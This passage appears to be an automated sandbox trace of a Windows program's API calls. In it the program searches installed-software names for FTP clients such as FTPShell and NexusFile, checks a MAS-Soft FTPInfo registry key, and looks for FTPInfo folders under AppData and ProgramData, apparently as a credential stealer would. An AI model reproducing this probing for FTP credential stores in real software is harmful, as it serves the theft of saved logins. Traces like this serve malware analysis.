(lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="FTPShell") returned 0x0 [0079.673] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="FTPShell") returned 0x0 [0079.673] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.673] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.673] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.673] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.673] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.673] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.673] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.674] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.674] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.674] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.674] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x4f, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.674] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.674] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\MAS-Soft\\FTPInfo\\Setup", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0079.674] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\MAS-Soft\\FTPInfo\\Setup", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0079.674] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\MAS-Soft\\FTPInfo\\Setup", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0079.674] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.674] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.674] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.674] lstrlenA (lpString="\\FTPInfo") returned 8 [0079.674] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.674] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.674] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FTPInfo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo" [0079.674] LocalFree (hMem=0x66b940) returned 0x0 [0079.674] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo") returned 40 [0079.674] lstrlenA (lpString="\\*.*") returned 4 [0079.674] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.674] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo" [0079.674] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo\\*.*" [0079.674] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTPInfo\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.674] LocalFree (hMem=0x647b70) returned 0x0 [0079.674] LocalFree (hMem=0x647ab8) returned 0x0 [0079.674] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.674] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.674] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.674] lstrlenA (lpString="\\FTPInfo") returned 8 [0079.674] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.674] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.674] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FTPInfo" | out: lpString1="C:\\ProgramData\\FTPInfo") returned="C:\\ProgramData\\FTPInfo" [0079.675] LocalFree (hMem=0x66b940) returned 0x0 [0079.675] lstrlenA (lpString="C:\\ProgramData\\FTPInfo") returned 22 [0079.675] lstrlenA (lpString="\\*.*") returned 4 [0079.675] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652d58 [0079.675] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\FTPInfo" | out: lpString1="C:\\ProgramData\\FTPInfo") returned="C:\\ProgramData\\FTPInfo" [0079.675] lstrcatA (in: lpString1="C:\\ProgramData\\FTPInfo", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\FTPInfo\\*.*") returned="C:\\ProgramData\\FTPInfo\\*.*" [0079.675] FindFirstFileA (in: lpFileName="C:\\ProgramData\\FTPInfo\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.675] LocalFree (hMem=0x652d58) returned 0x0 [0079.675] LocalFree (hMem=0x670c38) returned 0x0 [0079.675] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.675] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.675] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.675] lstrlenA (lpString="\\FTPInfo") returned 8 [0079.675] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0079.675] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.675] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FTPInfo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo" [0079.675] LocalFree (hMem=0x66b940) returned 0x0 [0079.675] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo") returned 38 [0079.675] lstrlenA (lpString="\\*.*") returned 4 [0079.675] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.675] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo" [0079.675] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo\\*.*" [0079.675] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\FTPInfo\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.675] LocalFree (hMem=0x647ab8) returned 0x0 [0079.675] LocalFree (hMem=0x629248) returned 0x0 [0079.675] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.675] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.675] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.675] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.675] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.675] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.676] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.676] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.676] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0079.676] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0079.676] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x50, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.676] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.676] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.676] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.677] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="NexusFile") returned 0x0 [0079.678] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="NexusFile") returned 0x0 [0079.679] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="NexusFile") returned 0x0 [0079.679] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="NexusFile") returned 0x0 [0079.679] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="NexusFile") returned 0x0 [0079.679] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="NexusFile") returned 0x0 [0079.679] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="NexusFile") returned 0x0 [0079.679] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="NexusFile") returned 0x0 [0079.679] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.679] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.679] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.679] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.679] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.679] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.679] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.679] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.679] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0079.679] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0079.679] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x51, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.679] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.679] 